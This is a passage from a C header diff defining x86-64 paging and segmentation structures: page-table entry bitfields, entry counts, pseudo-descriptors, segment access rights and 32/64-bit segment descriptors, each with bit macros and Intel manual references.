PTE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PTE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PTE_64_ACCESSED_BIT 5 +#define PTE_64_ACCESSED_FLAG 0x20 +#define PTE_64_ACCESSED_MASK 0x01 +#define PTE_64_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t dirty : 1; +#define PTE_64_DIRTY_BIT 6 +#define PTE_64_DIRTY_FLAG 0x40 +#define PTE_64_DIRTY_MASK 0x01 +#define PTE_64_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Indirectly determines the memory type used to access the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t pat : 1; +#define PTE_64_PAT_BIT 7 +#define PTE_64_PAT_FLAG 0x80 +#define PTE_64_PAT_MASK 0x01 +#define PTE_64_PAT(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint64_t global : 1; +#define PTE_64_GLOBAL_BIT 8 +#define PTE_64_GLOBAL_FLAG 0x100 +#define PTE_64_GLOBAL_MASK 0x01 +#define PTE_64_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint64_t ignored_1 : 3; +#define PTE_64_IGNORED_1_BIT 9 +#define PTE_64_IGNORED_1_FLAG 0xE00 +#define PTE_64_IGNORED_1_MASK 0x07 +#define PTE_64_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PTE_64_PAGE_FRAME_NUMBER_BIT 12 +#define PTE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PTE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PTE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved1 : 4; + + /** + * [Bits 58:52] Ignored. + */ + uint64_t ignored_2 : 7; +#define PTE_64_IGNORED_2_BIT 52 +#define PTE_64_IGNORED_2_FLAG 0x7F0000000000000 +#define PTE_64_IGNORED_2_MASK 0x7F +#define PTE_64_IGNORED_2(_) (((_) >> 52) & 0x7F) + + /** + * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. + * + * @see Vol3A[4.6.2(Protection Keys)] + */ + uint64_t protection_key : 4; +#define PTE_64_PROTECTION_KEY_BIT 59 +#define PTE_64_PROTECTION_KEY_FLAG 0x7800000000000000 +#define PTE_64_PROTECTION_KEY_MASK 0x0F +#define PTE_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte page + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PTE_64_EXECUTE_DISABLE_BIT 63 +#define PTE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PTE_64_EXECUTE_DISABLE_MASK 0x01 +#define PTE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pte_64; + +/** + * @brief Format of a common Page-Table Entry + */ +typedef union +{ + struct + { + uint64_t present : 1; +#define PT_ENTRY_64_PRESENT_BIT 0 +#define PT_ENTRY_64_PRESENT_FLAG 0x01 +#define PT_ENTRY_64_PRESENT_MASK 0x01 +#define PT_ENTRY_64_PRESENT(_) (((_) >> 0) & 0x01) + uint64_t write : 1; +#define PT_ENTRY_64_WRITE_BIT 1 +#define PT_ENTRY_64_WRITE_FLAG 0x02 +#define PT_ENTRY_64_WRITE_MASK 0x01 +#define PT_ENTRY_64_WRITE(_) (((_) >> 1) & 0x01) + uint64_t supervisor : 1; +#define PT_ENTRY_64_SUPERVISOR_BIT 2 +#define PT_ENTRY_64_SUPERVISOR_FLAG 0x04 +#define PT_ENTRY_64_SUPERVISOR_MASK 0x01 +#define PT_ENTRY_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + uint64_t page_level_write_through : 1; +#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + uint64_t page_level_cache_disable : 1; +#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + uint64_t accessed : 1; +#define PT_ENTRY_64_ACCESSED_BIT 5 +#define PT_ENTRY_64_ACCESSED_FLAG 0x20 +#define PT_ENTRY_64_ACCESSED_MASK 0x01 +#define PT_ENTRY_64_ACCESSED(_) (((_) >> 5) & 0x01) + uint64_t dirty : 1; +#define PT_ENTRY_64_DIRTY_BIT 6 +#define PT_ENTRY_64_DIRTY_FLAG 0x40 +#define PT_ENTRY_64_DIRTY_MASK 0x01 +#define PT_ENTRY_64_DIRTY(_) (((_) >> 6) & 0x01) + uint64_t large_page : 1; +#define PT_ENTRY_64_LARGE_PAGE_BIT 7 +#define PT_ENTRY_64_LARGE_PAGE_FLAG 0x80 +#define PT_ENTRY_64_LARGE_PAGE_MASK 0x01 +#define PT_ENTRY_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + uint64_t global : 1; +#define PT_ENTRY_64_GLOBAL_BIT 8 +#define PT_ENTRY_64_GLOBAL_FLAG 0x100 +#define PT_ENTRY_64_GLOBAL_MASK 0x01 +#define PT_ENTRY_64_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint64_t ignored_1 : 3; +#define PT_ENTRY_64_IGNORED_1_BIT 9 +#define PT_ENTRY_64_IGNORED_1_FLAG 0xE00 +#define PT_ENTRY_64_IGNORED_1_MASK 0x07 +#define PT_ENTRY_64_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PT_ENTRY_64_PAGE_FRAME_NUMBER_BIT 12 +#define PT_ENTRY_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PT_ENTRY_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PT_ENTRY_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved1 : 4; + + /** + * [Bits 58:52] Ignored. + */ + uint64_t ignored_2 : 7; +#define PT_ENTRY_64_IGNORED_2_BIT 52 +#define PT_ENTRY_64_IGNORED_2_FLAG 0x7F0000000000000 +#define PT_ENTRY_64_IGNORED_2_MASK 0x7F +#define PT_ENTRY_64_IGNORED_2(_) (((_) >> 52) & 0x7F) + uint64_t protection_key : 4; +#define PT_ENTRY_64_PROTECTION_KEY_BIT 59 +#define PT_ENTRY_64_PROTECTION_KEY_FLAG 0x7800000000000000 +#define PT_ENTRY_64_PROTECTION_KEY_MASK 0x0F +#define PT_ENTRY_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) + uint64_t execute_disable : 1; +#define PT_ENTRY_64_EXECUTE_DISABLE_BIT 63 +#define PT_ENTRY_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PT_ENTRY_64_EXECUTE_DISABLE_MASK 0x01 +#define PT_ENTRY_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pt_entry_64; + +/** + * @defgroup paging_structures_entry_count_64 \ + * Paging structures entry counts + * + * Paging structures entry counts. + * @{ + */ +#define PML4E_ENTRY_COUNT_64 0x00000200 +#define PDPTE_ENTRY_COUNT_64 0x00000200 +#define PDE_ENTRY_COUNT_64 0x00000200 +#define PTE_ENTRY_COUNT_64 0x00000200 + /** + * @} + */ + + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup segment_descriptors \ + * Segment descriptors + * @{ + */ + /** + * @brief Pseudo-Descriptor Format (32-bit) + * + * @see Vol3A[3.5.1(Segment Descriptor Tables)] (reference) + */ +#pragma pack(push, 1) +typedef struct +{ + /** + * Limit. + */ + uint16_t limit; + + /** + * Base Address. + */ + uint32_t base_address; +} segment_descriptor_register_32; +#pragma pack(pop) + +/** + * @brief Pseudo-Descriptor Format (64-bit) + * + * @see Vol3A[3.5.1(Segment Descriptor Tables)] (reference) + */ +#pragma pack(push, 1) +typedef struct +{ + /** + * Limit. + */ + uint16_t limit; + + /** + * Base Address. + */ + uint64_t base_address; +} segment_descriptor_register_64; +#pragma pack(pop) + +/** + * @brief Segment access rights + * + * @see Vol2A[3.2(Instructions (A-L) | LAR-Load Access Rights Byte)] (reference) + */ +typedef union +{ + struct + { + uint32_t reserved1 : 8; + + /** + * @brief Type field + * + * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the + * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an + * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, + * data, and system descriptors. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint32_t type : 4; +#define SEGMENT_ACCESS_RIGHTS_TYPE_BIT 8 +#define SEGMENT_ACCESS_RIGHTS_TYPE_FLAG 0xF00 +#define SEGMENT_ACCESS_RIGHTS_TYPE_MASK 0x0F +#define SEGMENT_ACCESS_RIGHTS_TYPE(_) (((_) >> 8) & 0x0F) + + /** + * @brief S (descriptor type) flag + * + * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S + * flag is set). + */ + uint32_t descriptor_type : 1; +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_BIT 12 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_FLAG 0x1000 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) + + /** + * @brief DPL (descriptor privilege level) field + * + * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the + * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a + * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. + */ + uint32_t descriptor_privilege_level : 2; +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) + + /** + * @brief P (segment-present) flag + * + * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the + * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor + * is loaded into a segment register. Memory management software can use this flag to control which segments are actually + * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. + */ + uint32_t present : 1; +#define SEGMENT_ACCESS_RIGHTS_PRESENT_BIT 15 +#define SEGMENT_ACCESS_RIGHTS_PRESENT_FLAG 0x8000 +#define SEGMENT_ACCESS_RIGHTS_PRESENT_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_PRESENT(_) (((_) >> 15) & 0x01) + uint32_t reserved2 : 4; + + /** + * @brief Available bit + * + * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. + */ + uint32_t system : 1; +#define SEGMENT_ACCESS_RIGHTS_SYSTEM_BIT 20 +#define SEGMENT_ACCESS_RIGHTS_SYSTEM_FLAG 0x100000 +#define SEGMENT_ACCESS_RIGHTS_SYSTEM_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_SYSTEM(_) (((_) >> 20) & 0x01) + + /** + * @brief L (64-bit code segment) flag + * + * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment + * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A + * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then + * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to + * 0. + */ + uint32_t long_mode : 1; +#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_BIT 21 +#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_FLAG 0x200000 +#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_LONG_MODE(_) (((_) >> 21) & 0x01) + + /** + * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag + * + * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an + * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and + * to 0 for 16-bit code and data segments.) + * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and + * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands + * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can + * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other + * than the default. + * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the + * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a + * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer + * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment + * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. + * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag + * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). + */ + uint32_t default_big : 1; +#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_BIT 22 +#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_FLAG 0x400000 +#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG(_) (((_) >> 22) & 0x01) + + /** + * @brief G (granularity) flag + * + * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is + * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not + * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve + * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when + * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. + */ + uint32_t granularity : 1; +#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_BIT 23 +#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_FLAG 0x800000 +#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_GRANULARITY(_) (((_) >> 23) & 0x01) + uint32_t reserved3 : 8; + }; + + uint32_t flags; +} segment_access_rights; + +/** + * @brief General Segment Descriptor (32-bit) + * + * A segment descriptor is a data structure in a GDT or LDT that provides the processor with the size and location of a + * segment, as well as access control and status information. Segment descriptors are typically created by compilers, + * linkers, loaders, or the operating system or executive, but not application programs. + * + * @see Vol3A[5.2(FIELDS AND FLAGS USED FOR SEGMENT-LEVEL AND PAGE-LEVEL PROTECTION)] + * @see Vol3A[5.2.1(Code-Segment Descriptor in 64-bit Mode)] + * @see Vol3A[5.8.3(Call Gates)] + * @see Vol3A[6.11(IDT DESCRIPTORS)] + * @see Vol3A[6.14.1(64-Bit Mode IDT)] + * @see Vol3A[7.2.2(TSS Descriptor)] + * @see Vol3A[7.2.3(TSS Descriptor in 64-bit mode)] + * @see Vol3A[7.2.5(Task-Gate Descriptor)] + * @see Vol3A[3.4.5(Segment Descriptors)] (reference) + */ +typedef struct +{ + /** + * @brief Segment limit field (15:00) + * + * Specifies the size of the segment. The processor puts together the two segment limit fields to form a 20-bit value. The + * processor interprets the segment limit in one of two ways, depending on the setting of the G (granularity) flag: + * - If the granularity flag is clear, the segment size can range from 1 byte to 1 MByte, in byte increments. + * - If the granularity flag is set, the segment size can range from 4 KBytes to 4 GBytes, in 4-KByte increments. + * The processor uses the segment limit in two different ways, depending on whether the segment is an expand-up or an + * expand-down segment. For expand-up segments, the offset in a logical address can range from 0 to the segment limit. + * Offsets greater than the segment limit generate general-protection exceptions (\#GP, for all segments other than SS) or + * stack-fault exceptions (\#SS for the SS segment). For expand-down segments, the segment limit has the reverse function; + * the offset can range from the segment limit plus 1 to FFFFFFFFH or FFFFH, depending on the setting of the B flag. + * Offsets less than or equal to the segment limit generate general-protection exceptions or stack-fault exceptions. + * Decreasing the value in the segment limit field for an expanddown segment allocates new memory at the bottom of the + * segment's address space, rather than at the top. IA-32 architecture stacks always grow downwards, making this mechanism + * convenient for expandable stacks. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint16_t segment_limit_low; + + /** + * @brief Base address field (15:00) + * + * Defines the location of byte 0 of the segment within the 4-GByte linear address space. The processor puts together the + * three base address fields to form a single 32-bit value. Segment base addresses should be aligned to 16-byte boundaries. + * Although 16-byte alignment is not required, this alignment allows programs to maximize performance by aligning code and + * data on 16-byte boundaries. + */ + uint16_t base_address_low; + /** + * @brief Segment descriptor fields + */ + union + { + struct + { + /** + * [Bits 7:0] Base address field (23:16); see description of $BASE_LOW for more details. + */ + uint32_t base_address_middle : 8; +#define SEGMENT__BASE_ADDRESS_MIDDLE_BIT 0 +#define SEGMENT__BASE_ADDRESS_MIDDLE_FLAG 0xFF +#define SEGMENT__BASE_ADDRESS_MIDDLE_MASK 0xFF +#define SEGMENT__BASE_ADDRESS_MIDDLE(_) (((_) >> 0) & 0xFF) + + /** + * @brief Type field + * + * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the + * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an + * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, + * data, and system descriptors. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint32_t type : 4; +#define SEGMENT__TYPE_BIT 8 +#define SEGMENT__TYPE_FLAG 0xF00 +#define SEGMENT__TYPE_MASK 0x0F +#define SEGMENT__TYPE(_) (((_) >> 8) & 0x0F) + + /** + * @brief S (descriptor type) flag + * + * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S + * flag is set). + */ + uint32_t descriptor_type : 1; +#define SEGMENT__DESCRIPTOR_TYPE_BIT 12 +#define SEGMENT__DESCRIPTOR_TYPE_FLAG 0x1000 +#define SEGMENT__DESCRIPTOR_TYPE_MASK 0x01 +#define SEGMENT__DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) + + /** + * @brief DPL (descriptor privilege level) field + * + * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the + * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a + * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. + */ + uint32_t descriptor_privilege_level : 2; +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) + + /** + * @brief P (segment-present) flag + * + * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the + * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor + * is loaded into a segment register. Memory management software can use this flag to control which segments are actually + * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. + */ + uint32_t present : 1; +#define SEGMENT__PRESENT_BIT 15 +#define SEGMENT__PRESENT_FLAG 0x8000 +#define SEGMENT__PRESENT_MASK 0x01 +#define SEGMENT__PRESENT(_) (((_) >> 15) & 0x01) + + /** + * [Bits 19:16] Segment limit field (19:16); see description of $LIMIT_LOW for more details. + */ + uint32_t segment_limit_high : 4; +#define SEGMENT__SEGMENT_LIMIT_HIGH_BIT 16 +#define SEGMENT__SEGMENT_LIMIT_HIGH_FLAG 0xF0000 +#define SEGMENT__SEGMENT_LIMIT_HIGH_MASK 0x0F +#define SEGMENT__SEGMENT_LIMIT_HIGH(_) (((_) >> 16) & 0x0F) + + /** + * @brief Available bit + * + * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. + */ + uint32_t system : 1; +#define SEGMENT__SYSTEM_BIT 20 +#define SEGMENT__SYSTEM_FLAG 0x100000 +#define SEGMENT__SYSTEM_MASK 0x01 +#define SEGMENT__SYSTEM(_) (((_) >> 20) & 0x01) + + /** + * @brief L (64-bit code segment) flag + * + * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment + * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A + * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then + * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to + * 0. + */ + uint32_t long_mode : 1; +#define SEGMENT__LONG_MODE_BIT 21 +#define SEGMENT__LONG_MODE_FLAG 0x200000 +#define SEGMENT__LONG_MODE_MASK 0x01 +#define SEGMENT__LONG_MODE(_) (((_) >> 21) & 0x01) + + /** + * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag + * + * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an + * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and + * to 0 for 16-bit code and data segments.) + * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and + * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands + * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can + * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other + * than the default. + * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the + * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a + * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer + * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment + * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. + * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag + * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). + */ + uint32_t default_big : 1; +#define SEGMENT__DEFAULT_BIG_BIT 22 +#define SEGMENT__DEFAULT_BIG_FLAG 0x400000 +#define SEGMENT__DEFAULT_BIG_MASK 0x01 +#define SEGMENT__DEFAULT_BIG(_) (((_) >> 22) & 0x01) + + /** + * @brief G (granularity) flag + * + * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is + * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not + * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve + * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when + * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. + */ + uint32_t granularity : 1; +#define SEGMENT__GRANULARITY_BIT 23 +#define SEGMENT__GRANULARITY_FLAG 0x800000 +#define SEGMENT__GRANULARITY_MASK 0x01 +#define SEGMENT__GRANULARITY(_) (((_) >> 23) & 0x01) + + /** + * [Bits 31:24] Base address field (31:24); see description of $BASE_LOW for more details. + */ + uint32_t base_address_high : 8; +#define SEGMENT__BASE_ADDRESS_HIGH_BIT 24 +#define SEGMENT__BASE_ADDRESS_HIGH_FLAG 0xFF000000 +#define SEGMENT__BASE_ADDRESS_HIGH_MASK 0xFF +#define SEGMENT__BASE_ADDRESS_HIGH(_) (((_) >> 24) & 0xFF) + }; + + uint32_t flags; + }; + +} segment_descriptor_32; + +/** + * @brief General Segment Descriptor (64-bit) + * + * A segment descriptor is a data structure in a GDT or LDT that provides the processor with the size and location of a + * segment, as well as access control and status information. Segment descriptors are typically created by compilers, + * linkers, loaders, or the operating system or executive, but not application programs. + * + * @see Vol3A[3.4.5(Segment Descriptors)] (reference) + */ +typedef struct +{ + /** + * @brief Segment limit field (15:00) + * + * Specifies the size of the segment. The processor puts together the two segment limit fields to form a 20-bit value. The + * processor interprets the segment limit in one of two ways, depending on the setting of the G (granularity) flag: + * - If the granularity flag is clear, the segment size can range from 1 byte to 1 MByte, in byte increments. + * - If the granularity flag is set, the segment size can range from 4 KBytes to 4 GBytes, in 4-KByte increments. + * The processor uses the segment limit in two different ways, depending on whether the segment is an expand-up or an + * expand-down segment. For expand-up segments, the offset in a logical address can range from 0 to the segment limit. + * Offsets greater than the segment limit generate general-protection exceptions (\#GP, for all segments other than SS) or + * stack-fault exceptions (\#SS for the SS segment). For expand-down segments, the segment limit has the reverse function; + * the offset can range from the segment limit plus 1 to FFFFFFFFH or FFFFH, depending on the setting of the B flag. + * Offsets less than or equal to the segment limit generate general-protection exceptions or stack-fault exceptions. + * Decreasing the value in the segment limit field for an expanddown segment allocates new memory at the bottom of the + * segment's address space, rather than at the top. IA-32 architecture stacks always grow downwards, making this mechanism + * convenient for expandable stacks. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint16_t segment_limit_low; + + /** + * @brief Base address field (15:00) + * + * Defines the location of byte 0 of the segment within the 4-GByte linear address space. The processor puts together the + * three base address fields to form a single 32-bit value. Segment base addresses should be aligned to 16-byte boundaries. + * Although 16-byte alignment is not required, this alignment allows programs to maximize performance by aligning code and + * data on 16-byte boundaries. + */ + uint16_t base_address_low; + /** + * @brief Segment descriptor fields + */ + union + { + struct + { + /** + * [Bits 7:0] Base address field (23:16); see description of $BASE_LOW for more details. + */ + uint32_t base_address_middle : 8; +#define SEGMENT__BASE_ADDRESS_MIDDLE_BIT 0 +#define SEGMENT__BASE_ADDRESS_MIDDLE_FLAG 0xFF +#define SEGMENT__BASE_ADDRESS_MIDDLE_MASK 0xFF +#define SEGMENT__BASE_ADDRESS_MIDDLE(_) (((_) >> 0) & 0xFF) + + /** + * @brief Type field + * + * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the + * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an + * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, + * data, and system descriptors. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint32_t type : 4; +#define SEGMENT__TYPE_BIT 8 +#define SEGMENT__TYPE_FLAG 0xF00 +#define SEGMENT__TYPE_MASK 0x0F +#define SEGMENT__TYPE(_) (((_) >> 8) & 0x0F) + + /** + * @brief S (descriptor type) flag + * + * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S + * flag is set). + */ + uint32_t descriptor_type : 1; +#define SEGMENT__DESCRIPTOR_TYPE_BIT 12 +#define SEGMENT__DESCRIPTOR_TYPE_FLAG 0x1000 +#define SEGMENT__DESCRIPTOR_TYPE_MASK 0x01 +#define SEGMENT__DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) + + /** + * @brief DPL (descriptor privilege level) field + * + * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the + * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a + * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. + */ + uint32_t descriptor_privilege_level : 2; +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 +#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) + + /** + * @brief P (segment-present) flag + * + * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the + * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor + * is loaded into a segment register. Memory management software can use this flag to control which segments are actually + * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. + */ + uint32_t present : 1; +#define SEGMENT__PRESENT_BIT 15 +#define SEGMENT__PRESENT_FLAG 0x8000 +#define SEGMENT__PRESENT_MASK 0x01 +#define SEGMENT__PRESENT(_) (((_) >> 15) & 0x01) + + /** + * [Bits 19:16] Segment limit field (19:16); see description of $LIMIT_LOW for 